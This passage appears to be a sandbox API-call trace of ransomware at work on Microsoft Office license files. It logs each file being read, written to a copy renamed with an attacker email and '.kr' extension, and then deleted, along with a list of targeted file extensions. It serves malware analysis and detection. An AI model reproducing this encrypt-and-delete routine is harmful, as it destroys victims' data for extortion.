Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.605] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.605] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.606] GetLastError () returned 0x0 [0211.606] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x51cd, lpOverlapped=0x0) returned 1 [0211.608] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x51d0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x51d0, lpOverlapped=0x0) returned 1 [0211.609] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.609] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x110, lpOverlapped=0x0) returned 1 [0211.609] SetEndOfFile (hFile=0x574) returned 1 [0211.610] CloseHandle (hObject=0x574) returned 1 [0211.610] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.610] SetEndOfFile (hFile=0x4d4) returned 1 [0211.613] CloseHandle (hObject=0x4d4) returned 1 [0211.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ppd.xrm-ms")) returned 1 [0211.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.614] lstrlenW (lpString=".doc") returned 4 [0211.614] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.614] lstrlenW (lpString=".docx") returned 5 [0211.614] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.614] lstrlenW (lpString=".pdf") returned 4 [0211.615] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString=".xls") returned 4 [0211.615] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString=".xlsx") returned 5 [0211.615] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.615] lstrlenW (lpString=".ppt") returned 4 [0211.615] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.615] lstrlenW (lpString=".zip") returned 4 [0211.615] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString=".rar") returned 4 [0211.615] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString=".bz2") returned 4 [0211.615] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString=".7z") returned 3 [0211.615] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.615] lstrlenW (lpString=".dbf") returned 4 [0211.615] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.615] lstrlenW (lpString=".1cd") returned 4 [0211.615] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.615] lstrlenW (lpString=".jpg") returned 4 [0211.615] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.615] lstrlenW (lpString=".doc") returned 4 [0211.615] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.615] lstrlenW (lpString=".docx") returned 5 [0211.615] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.615] lstrlenW (lpString=".pdf") returned 4 [0211.616] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.616] lstrlenW (lpString=".xls") returned 4 [0211.616] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.616] lstrlenW (lpString=".xlsx") returned 5 [0211.616] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.616] lstrlenW (lpString=".ppt") returned 4 [0211.616] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.616] lstrlenW (lpString=".zip") returned 4 [0211.616] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.616] lstrlenW (lpString=".rar") returned 4 [0211.616] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.616] lstrlenW (lpString=".bz2") returned 4 [0211.616] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.616] lstrlenW (lpString=".7z") returned 3 [0211.616] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.616] lstrlenW (lpString=".dbf") returned 4 [0211.616] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.616] lstrlenW (lpString=".1cd") returned 4 [0211.616] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ppd.xrm-ms") returned 80 [0211.616] lstrlenW (lpString=".jpg") returned 4 [0211.616] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.616] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.616] lstrlenW (lpString="PersonalPipcR_Grace-ul-oob.xrm-ms") returned 33 [0211.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.617] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11624) returned 1 [0211.617] CloseHandle (hObject=0x4d4) returned 1 [0211.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0211.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.618] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.618] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0211.618] GetLastError () returned 0x0 [0211.618] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d68, lpOverlapped=0x0) returned 1 [0211.620] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0211.621] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0211.621] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0211.621] SetEndOfFile (hFile=0x574) returned 1 [0211.622] CloseHandle (hObject=0x574) returned 1 [0211.622] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0211.622] SetEndOfFile (hFile=0x4d4) returned 1 [0211.624] CloseHandle (hObject=0x4d4) returned 1 [0211.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_grace-ul-oob.xrm-ms")) returned 1 [0211.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.625] lstrlenW (lpString=".doc") returned 4 [0211.625] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.626] lstrlenW (lpString=".docx") returned 5 [0211.781] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.781] lstrlenW (lpString=".pdf") returned 4 [0211.781] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.781] lstrlenW (lpString=".xls") returned 4 [0211.781] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.781] lstrlenW (lpString=".xlsx") returned 5 [0211.781] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.781] lstrlenW (lpString=".ppt") returned 4 [0211.781] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.782] lstrlenW (lpString=".zip") returned 4 [0211.782] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.782] lstrlenW (lpString=".rar") returned 4 [0211.782] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.782] lstrlenW (lpString=".bz2") returned 4 [0211.782] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.782] lstrlenW (lpString=".7z") returned 3 [0211.782] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.782] lstrlenW (lpString=".dbf") returned 4 [0211.782] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.782] lstrlenW (lpString=".1cd") returned 4 [0211.782] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.782] lstrlenW (lpString=".jpg") returned 4 [0211.782] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.782] lstrlenW (lpString=".doc") returned 4 [0211.782] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.782] lstrlenW (lpString=".docx") returned 5 [0211.783] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.783] lstrlenW (lpString=".pdf") returned 4 [0211.783] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.783] lstrlenW (lpString=".xls") returned 4 [0211.783] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.783] lstrlenW (lpString=".xlsx") returned 5 [0211.783] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.783] lstrlenW (lpString=".ppt") returned 4 [0211.783] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.783] lstrlenW (lpString=".zip") returned 4 [0211.783] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.783] lstrlenW (lpString=".rar") returned 4 [0211.783] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.783] lstrlenW (lpString=".bz2") returned 4 [0211.783] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.783] lstrlenW (lpString=".7z") returned 3 [0211.783] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.783] lstrlenW (lpString=".dbf") returned 4 [0211.783] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.783] lstrlenW (lpString=".1cd") returned 4 [0211.783] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_Grace-ul-oob.xrm-ms") returned 83 [0211.783] lstrlenW (lpString=".jpg") returned 4 [0211.783] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.784] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.784] lstrlenW (lpString="PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 36 [0211.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0212.065] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19962) returned 1 [0212.065] CloseHandle (hObject=0x554) returned 1 [0212.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0212.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0212.066] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.066] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0212.067] GetLastError () returned 0x0 [0212.067] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0212.070] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0212.071] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0212.071] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x11c, lpOverlapped=0x0) returned 1 [0212.071] SetEndOfFile (hFile=0x574) returned 1 [0212.071] CloseHandle (hObject=0x574) returned 1 [0212.071] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.071] SetEndOfFile (hFile=0x554) returned 1 [0212.074] CloseHandle (hObject=0x554) returned 1 [0212.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalpipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0212.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.075] lstrlenW (lpString=".doc") returned 4 [0212.075] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.075] lstrlenW (lpString=".docx") returned 5 [0212.075] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.075] lstrlenW (lpString=".pdf") returned 4 [0212.075] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.075] lstrlenW (lpString=".xls") returned 4 [0212.075] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.075] lstrlenW (lpString=".xlsx") returned 5 [0212.075] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.075] lstrlenW (lpString=".ppt") returned 4 [0212.075] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.075] lstrlenW (lpString=".zip") returned 4 [0212.076] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString=".rar") returned 4 [0212.076] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString=".bz2") returned 4 [0212.076] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString=".7z") returned 3 [0212.076] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.076] lstrlenW (lpString=".dbf") returned 4 [0212.076] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.076] lstrlenW (lpString=".1cd") returned 4 [0212.076] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.076] lstrlenW (lpString=".jpg") returned 4 [0212.076] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.076] lstrlenW (lpString=".doc") returned 4 [0212.076] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString=".docx") returned 5 [0212.076] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.076] lstrlenW (lpString=".pdf") returned 4 [0212.076] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString=".xls") returned 4 [0212.076] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString=".xlsx") returned 5 [0212.076] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.076] lstrlenW (lpString=".ppt") returned 4 [0212.076] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.076] lstrlenW (lpString=".zip") returned 4 [0212.076] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.077] lstrlenW (lpString=".rar") returned 4 [0212.077] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.077] lstrlenW (lpString=".bz2") returned 4 [0212.077] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.077] lstrlenW (lpString=".7z") returned 3 [0212.077] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.077] lstrlenW (lpString=".dbf") returned 4 [0212.077] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.077] lstrlenW (lpString=".1cd") returned 4 [0212.077] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalPipcR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0212.077] lstrlenW (lpString=".jpg") returned 4 [0212.077] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.077] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.077] lstrlenW (lpString="PersonalR_Trial-pl.xrm-ms") returned 25 [0212.077] CreateFileW 